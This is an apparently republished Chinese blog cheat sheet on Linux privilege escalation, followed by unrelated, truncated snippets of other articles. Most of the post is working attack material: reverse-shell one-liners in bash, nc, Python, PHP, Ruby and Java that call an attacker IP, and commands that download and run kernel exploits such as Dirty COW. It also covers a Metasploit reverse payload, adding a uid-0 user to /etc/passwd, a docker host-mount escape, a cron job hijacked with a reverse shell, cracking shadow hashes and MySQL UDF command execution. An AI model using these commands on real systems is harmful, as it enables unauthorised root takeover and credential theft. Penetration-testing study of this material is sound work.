linux提权总结

news2024/11/15 4:39:35

文章目录

  • 常用命令
  • 反弹shell
  • 获取完整交互式SHELL
  • Linux内核漏洞提权
  • 脏牛提权 CVE-2016-5195
  • metasploit linux提权
  • SUID提权
  • passwd提权
  • ssh密钥提权
  • 环境变量劫持提权
  • john破解root密文
  • 计划任务提权(cron Jobs)
  • 提权脚本
    • LinEnum
    • linux-exploit-suggester2
    • linuxprivchecker
  • docker逃逸提权
  • sudo提权
    • sudoer文件
  • 切换用户技巧
  • linux mysql udf提权
  • 补充知识

常用命令

uname -a #查看内核/操作系统/cpu信息

hend -n 1 /etc/issue #查看操作系统版本

cat /proc/version #查看系统信息

hostname #查看计算机名

env #查看环境变量

ifconfig #查看网卡

netstat -lntp # 查看所有监听端口

netstat -antp # 查看所有已经建立的连接

netstat -s # 查看网络统计信息

iptables -L #查看防火墙设置

route -n # 查看路由表

ps -ef # 查看所有进程

top # 实时显示进程状态

w # 查看活动用户

id # 查看指定用户信息

last # 查看用户登录日志

cut -d: -f1 /etc/passwd # 查看系统所有用户

cut -d: -f1 /etc/group # 查看系统所有组

crontab -l # 查看当前用户的计划任务

chkconfig –list # 列出所有系统服务

chkconfig –list | grep on # 列出所有启动的系统服务

echo $PATH #查看系统路径

which nc #查找nc的路径 

反弹shell

bash反弹

http://t.csdn.cn/IAItm

nc反弹

nc -e /bin/sh 192.168.10.128 6666

#但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.128 6666  >/tmp/f

python反弹

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.10.128" , 6666 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

php反弹shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'

java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm反弹shell

xterm -display 10.0.0.1:1

获取完整交互式SHELL

su root
su:必须从终端中执行

python伪终端

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

Linux反弹shell解决乱码

bash #从zsh切换到bash
nc -lvp 6666
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z  #将伪终端放置后台任务 
stty -echo raw 	#设置原始格式
fg %1	#再调用后台任务(输入时无显示)
reset	#初始化

Linux内核漏洞提权

利用堆栈溢出漏洞,根据当前系统寻找对应的漏洞的exp,使用exp对其进行提权。

uname -a 	#查看内核/操作系统/cpu信息
uname -v
cat /proc/version #内核信息
cat /etc/issue	  #发行信息
cat /etc/redhat-release #发行信息
lsb_release -a	   #显示发行版本信息

Linux version 3.19.0-15-generic

Ubuntu 15.04 Release

根据linux的内核版本查找对应的exp

searchsploit -t Ubuntu 15.04 #只利用标题搜索
searchsploit -s Ubuntu 15.04 #执行严格搜索,禁止对版本范围进行模糊搜索
searchsploit -s Linux Kernel 3.19.0
searchsploit -x linux/local/37088.c #检查或打开漏洞
searchsploit -m linux/local/37088.c #将一个漏洞复制到当前的工作目录
wget http://192.168.10.128/37088.c -O /tmp/37088.c
gcc 37088.c -o exp
chmod +x exp
./exp

脏牛提权 CVE-2016-5195

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的 写权限,进一步获取 root 权限。

漏洞范围

以下是主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞

Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1
Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
https://github.com/FireFart/dirtycow/blob/master/dirty.c
wget http://192.168.10.128/dirty.c -O /tmp/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty 123456
mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd

firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

su firefart

cat /etc/shadow

在这里插入图片描述

metasploit linux提权

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f raw > ./shell.php

file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.10.128/shell.php'));

msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.10.128
set lport 12345
exploit

//访问shell.php文件时就会获取一个session
shell

提权命令

使用模块查询漏洞

run post/multi/recon/local_exploit_suggester
getuid 查看当前用户
shell 使用终端

https://www.exploit-db.com/exploits/37292
gcc 37292.c -o exp
chmod +x exp
./exp

SUID提权

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程序运行的时候将拥有ROOT权限。

chmod 4750 a.txt
4 说明 SUID 位被设置

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。

ls -al /etc/shadow
-rw-r-----

ls -al /bin/passwd
-rwsr-xr-x

查找SUID文件

以下命令可以发现系统上运行的所有SUID可执行文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

常见suid提权文件

nmap
vim
find
more
less
bash
cp
Nano
mv
awk
man
wgets

https://gtfobins.github.io/

sudo install -m =xs $(which less) .

./less file_to_read

passwd提权

ls -al /etc/passwd
-rw-rw-rw-- 1 cc cc 2242  713 11:23 /etc/passwd  #这里要求至少有w权限

root:x:0:0:root:/root:/bin/bash

openssl passwd -1 -salt coleak a123  
$1$coleak$ryLF7yBUFqHmhDrl7czEK1
coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash

wget http://192.168.10.128/a -O /etc/passwd

ssh coleak@192.168.10.157       #su coleak

ssh密钥提权

查看拥有bash的用户

cat /etc/passwd | grep bash
find / -name authorized_keys -type f 2>/dev/null
cd /home/webper/.ssh

.ssh下文件含义

id_rsa(私钥)服务器上经过rsa算法生成的私钥。与公钥是一对的密钥对,用于连接其他服务器用。

id_rsa.pub(公钥)服务器上经过rsa算法生成的公钥。与私钥是一对的密钥对,用于连接其他服务器用。 将主机A的id_rsa.pub内容copy到B主机的authorized_keys文件中,这样A主机就能不通过密码连接到B主机。

authorized_keys(授权文件)实现真正无密码连接,即为授权文件,当把master的公钥添加到authorized_keys文件中后,下次连接直接输入ssh master即可,不需要再次输入密码。

如果目标有使用id_rsa私钥进行登陆,并且我们有权限读取

可以将id_rsa下载或复制下来使用私钥进行登陆

md5sum id_rsa.pub
md5sum authorized_keys
chmod 600 id_rsa
ssh -i id_rsa web1@192.168.10.153

环境变量劫持提权

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games

环境劫持需要的两个条件 存在带有suid的文件suid文件存在系统命令

且这个文件中必须有系统命令,这样我们就可以命名一个和这个系统命令相同的文件写入/bin/bash;

再将存放这个文件的路径加入环境变量中,当系统去执行这个带有系统命令的文件时;就会直接执行我们命名和这个系统命令相同的文件;而非真实的系统命令;从而实现劫持环境变量提权。

寻找suid文件

find / -perm -u=s -type f 2>/dev/null

/script/shell

PID TTY          TIME CMD
  2666 pts/1    00:00:00 shell
  2667 pts/1    00:00:00 sh
  2668 pts/1    00:00:00 ps

xxd /script/shell |grep ps

知道调用了什么命令,我们就可以创建一个 ps文件,内容为执行 /bin/bash

并将自建ps文件所在目录加入到环境变量中,当再执行/script/shell时,系统会在环境变量中依次查找

并首先查找并执行到我们自建的ps文件,从而返回一个带有root的shell,而非原本的查看进程

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
echo $PATH
/script/shell

john破解root密文

cat /etc/shadow

root:$6$URZ1c7qW$z5jZA6/j9fb8d4ExJOWuwCjEFo0tfBkfV.D3OIf0c0ukepcZYgrBhO6vjpNbmYct1uco9NrtBw3z50tCoMbqb1:18907:0:99999:7:::
gzip -d /usr/share/wordlists/rockyou.txt.gz

john --wordlist="/usr/share/wordlists/rockyou.txt" userpasswd

计划任务提权(cron Jobs)

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

提权的前提是存在一个执行危险脚本的任务计划,并且这个任务计划执行的执行脚本可以被非root权限用户修改覆盖,并可以正常执行任务计划

信息收集

列出计划任务:

#/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务
/var/spool/cron/crontabs/root 这个目录是root任务文件,没有root权限无法查看
ls -alh /var/spool/cron	
ls -al /etc/cron*
#查看当前登陆用户的计划任务
crontab -l

cat /etc/crontab
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

tail -f /var/log/syslog

(root) CMD (bash -c “/script/cleanup.py”)

查看日志文件 发现root每一分钟会执行一次 cleanup.py文件

修改内容 反弹shell

#!/usr/bin/env python3
import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.10.128" , 6666 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

pspy工具

wget 192.168.10.128/pspy64s
chmod  777 pspy64s
./pspy64s

可以看到这里,每分钟都会执行一次cleanup.py这个文件

发现计划任务,我们可以去检测该文件是否存在一些可能导致权限提升的问题。

提权脚本

LinEnum

https://github.com/rebootuser/LinEnum
wget -O - http://192.168.10.128/LinEnum.sh | bash

wget http://192.168.10.128/LinEnum.sh
chmod 777 LinEnum.sh
./LinEnum.sh > info.txt
cat info.txt|grep docker

linux-exploit-suggester2

wget http://192.168.10.128/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl -k 3.0

linuxprivchecker

wget http://192.168.10.128/linuxprivchecker
python3 linuxprivchecker.py

docker逃逸提权

免sudo使用docker

默认情况下使用docker必须要有sudo权限,对于一台机器多用户使用,只需要管理员将需要使用docker的用户添加到docker用户组(安装docker后默认会创建该组)中,用户重新登录机器即可免sudo使用docker了。

创建docker容器后,容器默认账户是root账户,可以更改容器内的所有配置

这里模拟真实情况借助弱口令使用coleak用户 登陆上了一台目标主机,此用户只拥有普通用户权限,但是管理员为了员工方便使用docker,将 coleak用户加入到了 docker用户组

docker run -it --rm -v /:/mnt alpine
cat /mnt/etc/shadow
echo "coleak:\$1\$coleak\$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash" >> /mnt/etc/passwdsu coleak  
su coleak
a123
#拿到root权限

sudo提权

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

sudoer文件

root ALL=(ALL) ALL

root用户可以从ALL终端作为ALL(任意)用户执行,并运行ALL(任意)命令。

第一部分是用户,第二部分是用户可以在其中使用sudo命令的终端,第三部分是他可以充当的用户,最后一部分是他在使用时可以运行的命令。sudo

only ALL=(root) /bin/cat

以上命令,使用户可以从任何终端使用only的用户密码使用cat。

only ALL=(root) NOPASSWD: /bin/cat

使用户可以从任何终端运行,以root用户身份运行命令cat而无需密码

sudo -l
(root) NOPASSWD: /bin/cat

查看是否拥有允许使用的命令

cat /etc/shadow
cat: /etc/shadow: 权限不够
moonsec@web1-virtual-machine:/$ sudo cat /etc/shadow

可以看到显示用户已允许以root身份执行 cat而无需密码。

cat命令无法让我们获取到shell,但是我们可以利用cat查看 /etc/shadow文件提取root的哈希进行破解

切换用户技巧

无需密码切换用户

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(1001,1001);
execve("/bin/sh",NULL,NULL);
}
gcc a.c -o a
chmod 777 a

linux mysql udf提权

show variables like '%plugin%';
cd /usr/share/sqlmap/extra/cloak/
sudo python cloak.py -d -i
/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_lib_mysqludf_sys.so
进行解码
wget http://192.168.0.109/lib_mysqludf_sys.so

create function sys_eval returns string soname "udf.so";
select sys_eval('id');

补充知识

debian的用户和组

cat /etc/group
cat /etc/passwd
sudo adduser cc
sudo usermod -G docker coleak

The authenticity of host ‘192.168.10.153 (192.168.10.153)’ can’t be established.

修改/etc/ssh/ssh_config文件(或$HOME/.ssh/config)中的配置,添加如下两行配置:

StrictHostKeyChecking no
UserKnownHostsFile /dev/null

Alpine

Alpine操作系统是一个面向安全的轻型 Linux 发行版,相比于其他 Docker 镜像,它的容量非常小,仅仅只有 5 MB 左右

-rm

–rm 选项,这样在容器退出时就能够自动清理容器内部的文件系统

docker run --rm ba-208
等价于:
docker run --rm=true ba-208
显然,--rm 选项不能与 -d 同时使用(或者说同时使用没有意义),即只能自动清理 foreground 容器,不能自动清理detached容器。
注意,--rm 选项也会清理容器的匿名data volumes。
所以,执行 docker run 命令带 --rm命令选项,等价于在容器退出后,执行 docker rm -v。

sudoers

sudo chmod +w /etc/sudoers
kali ALL=(root) NOPASSWD: ALL
```、

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/758797.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Windows 10 + WSL 2 + Ubuntu 22.04 搭建 AI 环境

参考 Enable NVIDIA CUDA on WSL 在WSL里的Ubuntu 22.04中进行以下操作前&#xff0c;请先在 Windows 10 中安装好 Nvidia驱动程序 和 CUDA Toolkit 11.7 &#xff0c;并将 cuDNN 下载后的文件复制到对应目录中 安装 Conda 23.5.2 wget https://repo.anaconda.com/archive/An…

代码随想录算法训练营第十八天 | 动态规划系列1,2,3,4

动态规划系列1,2,3,4 动态规划理论基础重点 509 斐波那契数未看解答自己编写的青春版重点代码随想录的代码我的代码(当天晚上理解后自己编写) 70 爬楼梯未看解答自己编写的青春版思考后自己写的代码重点代码随想录的代码我的代码(当天晚上理解后自己编写) 746 使用最小花费爬楼…

职责链模式:如何实现可灵活扩展算法的敏感信息过滤框架?

今天&#xff0c;我们主要讲解职责链模式的原理和实现。除此之外&#xff0c;我还会利用职责链模式&#xff0c;带你实现一个可以灵活扩展算法的敏感词过滤框架。下一节课&#xff0c;我们会更加贴近实战&#xff0c;通过剖析Servlet Filter、Spring Interceptor来看&#xff0…

从零开始的python入门之路

❤️ 专栏简介&#xff1a;本专栏记录了我个人从零开始学习Python编程的过程。在这个专栏中&#xff0c;我将分享我在学习Python的过程中的学习笔记、学习路线以及各个知识点。 ☀️ 专栏适用人群 &#xff1a;本专栏适用于希望学习Python编程的初学者和有一定编程基础的人。无…

c语言播放MP3音乐

今天学习了一下怎么用c语言播放音乐的方法&#xff0c;为了防止忘记&#xff0c;特此记录一下&#xff0c;首先就是把要播放的mp3文件保存到和要编辑的.c文件同一个目录中&#xff0c;如图所示&#xff1a; 下面就直接看代码吧&#xff1a; #include<stdio.h> #include&…

线程中并发安全问题(Sychronized关键字的底层原理)

线程中并发安全问题 Sychronized关键字的底层原理 ​ sychronized对象锁采用互斥方式让同一时刻至多只有一个线程能持有对象锁&#xff0c;其他线程想获取这个对象锁只能被阻塞。 Monitor Sychronized的底层实现Monitor。 WaitSet&#xff1a;关联调用了wait方法的线程&a…

DVDNET A FAST NETWORK FOR DEEP VIDEO DENOISING

DVDNET: A FAST NETWORK FOR DEEP VIDEO DENOISING https://ieeexplore.ieee.org/document/8803136 摘要 现有的最先进视频去噪算法是基于补丁的方法&#xff0c;以往的基于NN的算在其性能上无法与其媲美。但是本文提出NN的视频去噪算法性能要好&#xff1a; 其相比于基于补丁…

【板栗糖GIS】——buzz字幕软件的安装和使用

【板栗糖GIS】——buzz字幕软件的安装和使用 1. 下载buzz软件 链接如下&#xff1a; 下载软件包&#xff0c;我已经准备好资源&#xff0c;只是审核还未通过&#xff0c;过两天会加上&#xff0c;忘记补充链接可以私信我 2. 双击安装 直接下一步下一步 3. 使用方法介绍 运…

并发事务会有哪些问题?

并发事务会有哪些问题&#xff1f; 多个事务并发的执行一定会出现相互争夺资源的问题。那么问题具体有哪些呢&#xff1f; 脏写&#xff08;丢失修改&#xff09;脏读不可重复读幻读 以上这四个问题就是我们需要知道的。但是脏写&#xff0c;由于mysql最低的隔离级别都能避免…

gradle的下载、解压、环境变量配置以及命令行基本用法

父目录 Android 开发入门 - wuyujin1997 文章目录 Intro下载解压配置环境变量环境变量测试 命令行命令行基本用法命令行更多用法 Intro 关于Java项目的依赖、编译流程等管理&#xff0c;有三代的解决方案。 AntMavenGradle 可以想像这三代工具必定是各有特定&#xff0c;但整…

【算法 -- LeetCode】(020) 有效的括号

1、题目 给定一个只包括 ‘(’&#xff0c;‘)’&#xff0c;‘{’&#xff0c;‘}’&#xff0c;‘[’&#xff0c;‘]’ 的字符串 s &#xff0c;判断字符串是否有效。 有效字符串需满足&#xff1a; 左括号必须用相同类型的右括号闭合。左括号必须以正确的顺序闭合。每个…

javaagent简单理解

1. javajaent是什么 javaagent可以理解为是一个插件&#xff0c;需要有一个jvm进程才能运行。例如arthas这个工具就是用到了javaagent。 2. 如何使用 1. 一种调用方式&#xff1a;java -javaagent:path[参数参数值] 2. 方法签名 public static void premain(String args, I…

从零玩转系列之SpringBoot3-核心原理

一、简介 1.前置知识 ● Java17 ● Spring、SpringMVC、MyBatis ● Maven、IDEA 2.环境要求 环境&工具版本(or later)SpringBoot3.1.xIDEA2023.xJava17Maven3.5Tomcat10.0Servlet5.0GraalVM Community22.3Native Build Tools0.9.19 二、SpringBoot3-核心原理 1.事件和监听器…

【Hippo4j监控Web容器Tomcat线程池】

&#x1f680; 线程池管理工具-Hippo4j &#x1f680; &#x1f332; AI工具、AI绘图、AI专栏 &#x1f340; &#x1f332; 如果你想学到最前沿、最火爆的技术&#xff0c;赶快加入吧✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;CSDN-Java领域优质创作者&#…

知识整合:Web页面请求的历程

Web页面请求的历程 内部涉及知识&#xff1a;一、准备:DHCP、UDP、IP 和以太网二、仍在准备&#xff1a;DNS和ARP三、仍在准备&#xff1a;域内路由选择到DNS服务器四、Web客户-服务器交互&#xff1a;TCP和HTTP五、HTTP请求响应格式Requests部分Responses 部分 下载一个Web页面…

2023.7.15

同余最短路 P3403 跳楼机 题意&#xff1a;给定h高的楼层&#xff0c;起始位置在第一层&#xff0c;可以选择操作向上移动x层或y层或z层&#xff0c;回到第一层 求可以到达的楼层数 思路&#xff1a;转化题意为求axbyczk(k在[1,h]&#xff0c;x,y,z为正整数,有多少k满足条件&am…

基础IO

1.C的文件接口 "r" - 只读模式&#xff0c;打开文件用于读取&#xff0c;文件必须存在。 "w" - 写模式&#xff0c;打开文件用于写入&#xff0c;如果文件已存在则清空文件内容&#xff0c;如果文件不存在则创建新文件。 "a" - 追加模式&#…

手把手搭建mybatis入门程序

目录 准备数据库表 搭建工程 引入日志框架lockback SqlSessionUtil工具类封装 准备数据库表 CREATE TABLE t_car (id bigint NOT NULL AUTO_INCREMENT COMMENT 主键,car_num varchar(100) DEFAULT NULL COMMENT 汽车编号,brand varchar(100) DEFAULT NULL COMMENT 品牌,gui…

阿里云2核4G服务器能搭建几个网站?性能如何?

2核4G服务器能安装多少个网站&#xff1f;2核4g配置能承载多少个网站&#xff1f;一台2核4G服务器可以安装多少个网站&#xff1f;阿腾云2核4G5M带宽服务器目前安装了14个网站&#xff0c;从技术角度是没有限制的&#xff0c;只要云服务器性能够用&#xff0c;想安装几个网站就…

Java正则表达式校验某个字符串是否是合格的email

Java正则表达式校验某个字符串是否是合格的email 可以借助正则表达式校验某个字符串是否是合规的电子邮箱。对于邮箱的正则表达式有严格的模式&#xff0c;如&#xff1a;^[a-zA-Z0-9_&*-](?:\\.[a-zA-Z0-9_&*-])*(?:[a-zA-Z0-9-]\\.)[a-zA-Z]{2,7}$ 对应的Java实现…